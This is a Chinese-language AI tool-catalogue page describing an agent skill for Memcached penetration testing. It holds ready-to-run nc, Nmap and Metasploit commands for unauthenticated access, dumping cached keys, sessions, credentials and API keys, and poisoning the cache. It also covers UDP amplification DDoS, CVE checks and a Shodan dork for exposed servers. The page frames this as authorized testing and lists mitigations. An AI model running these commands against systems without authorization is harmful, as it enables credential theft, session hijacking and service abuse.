SuperAPI AI 工具集

memcache-pentesting

安全与审计

查看项目

更新于 10-16 04:41

技能介绍

Memcached 渗透测试方法论(11211 端口)

一、用途 本方法论用于对 Memcached 服务(默认 11211 端口)进行渗透测试,覆盖服务发现、未授权访问测试、缓存数据提取、DDoS 放大风险评估以及已知漏洞利用。当扫描发现 11211 端口开放、需要测试 Memcached 未授权访问、提取缓存数据或评估 DDoS 放大风险时,可触发此 Skill。

二、整体决策树 发现 11211 端口开放后,按以下阶段推进:

  • Phase 1:服务发现(Nmap 脚本扫描、手动连接、TCP vs UDP 探测)
  • Phase 2:未授权访问测试(发送 version / stats 命令判断是否需认证)
  • Phase 3:缓存数据提取(stats、stats slabs、stats items、cachedump / lru_crawler、get)
  • Phase 4:DDoS 放大风险(UDP 端口开放、放大比、Metasploit 检测)
  • Phase 5:已知漏洞(CVE-2021-37519、CVE-2019-11596、旧版本缓冲区溢出)

三、主要能力与使用方式

Phase 1:服务发现 自动枚举:

  • Nmap 信息收集:nmap -n -sV --script memcached-info -p 11211 <IP>
  • Metasploit 数据提取:use auxiliary/gather/memcached_extractor
  • Metasploit DDoS 放大检测:use auxiliary/scanner/memcached/memcached_amp 手动连接:
  • TCP 连接:echo "version" | nc -vn -w 1 <IP> 11211;echo "stats" | nc -vn -w 1 <IP> 11211
  • libmemcached 工具:sudo apt install libmemcached-tools;memcstat --servers=<IP>

Phase 2:未授权访问测试 Memcached 虽支持 SASL 认证,但绝大多数实例默认暴露无认证。

  • 发送 version 命令测试:echo "version" | nc -vn -w 1 <IP> 11211,返回 VERSION x.x.x 则无需认证
  • 发送 stats 命令:echo "stats" | nc -vn -w 1 <IP> 11211,返回 STAT 数据则确认无认证 认证决策树:返回 VERSION / STAT 数据则未授权访问确认,进入 Phase 3;返回 ERROR 或无响应则 SASL 认证可能启用或端口被防火墙过滤;连接超时则检查 TCP/UDP 端口状态。

Phase 3:缓存数据提取 基础信息收集:

  • 版本信息:echo "version" | nc -vn -w 1 <IP> 11211
  • 通用统计:echo "stats" | nc -vn -w 1 <IP> 11211
  • 内存分片统计:echo "stats slabs" | nc -vn -w 1 <IP> 11211
  • 项目统计:echo "stats items" | nc -vn -w 1 <IP> 11211 键名提取:
  • Memcached < 1.4.31:echo "stats cachedump <slab_number> 0" | nc -vn -w 1 <IP> 11211(0 表示无限输出)
  • Memcached >= 1.4.31:echo 'lru_crawler metadump all' | nc <IP> 11211 | head -50(推荐) 获取具体值:echo "get <key_name>" | nc -vn -w 1 <IP> 11211 工具辅助:
  • memcstat --servers=<IP>(统计信息)
  • memcdump --servers=<IP>(导出所有键名)
  • memccat --servers=<IP> <key>(获取键值)
  • PHP 脚本:sudo apt-get install php-memcached;php -r '$c = new Memcached(); $c->addServer("<IP>", 11211); var_dump($c->getAllKeys());' 数据提取决策树:stats items 确认有数据的 slab;版本 < 1.4.31 用 stats cachedump <slab> 0 获取键名;版本 >= 1.4.31 用 lru_crawler metadump all 获取键名;获取键名后用 get <key> 逐个获取值。关注的数据类型包括会话 Token / Session ID、用户凭据 / API Key、序列化对象(反序列化攻击面)、业务敏感数据。注意缓存数据是临时的,可能随时出现或消失。

Phase 4:DDoS 放大风险 Memcached UDP 反射放大是已知的最大放大攻击之一,放大比可达 51000x。

  • 检测 UDP 端口:nmap -sU -p 11211 <IP>
  • Metasploit 放大检测:use auxiliary/scanner/memcached/memcached_amp;set RHOSTS <IP>;run DDoS 风险评估:UDP 11211 开放可被滥用为 DDoS 反射放大源,攻击者发送伪造源 IP 的小请求,Memcached 向受害者返回大响应,放大比高达 51000x。缓解措施包括禁用 UDP(memcached -U 0)、防火墙限制 11211 端口访问、绑定到 localhost(memcached -l 127.0.0.1)。报告建议将 UDP 暴露标记为高风险发现。

Phase 5:已知漏洞 漏洞检测决策树:

  • < 1.4.31:cachedump 可用(信息泄露更简单)
  • < 1.5.6:CVE-2018-1000127(整数溢出)
  • < 1.6.1:CVE-2019-11596(NULL 指针解引用 DoS)
  • < 1.6.12:CVE-2021-37519(堆缓冲区溢出)
  • 通用:searchsploit memcached

数据写入与操纵(缓存投毒) 如果可以写入 Memcached,可以投毒缓存数据:

  • 设置/覆盖键值:printf "set target_key 0 3600 11\r\nmalicious_val\r\n" | nc <IP> 11211
  • 潜在影响:修改会话数据导致越权、修改配置缓存导致逻辑绕过、注入序列化对象导致反序列化 RCE

Shodan 搜索 port:11211 "STAT pid"

四、适用场景 适用于授权渗透测试与安全评估场景,包括:发现 11211 端口开放后的服务识别与信息收集;测试 Memcached 未授权访问;提取缓存中的敏感数据;评估 UDP 反射放大 DDoS 风险;核对已知漏洞版本。

五、限制 本方法论仅提供测试思路与命令参考,实际测试须在获得授权的前提下进行。缓存数据具有临时性,可能随时出现或消失。部分命令(如 cachedump)仅适用于特定版本范围。资料未提供具体漏洞利用代码、完整工具安装以外的依赖说明或法律合规指引,相关内容暂未提供。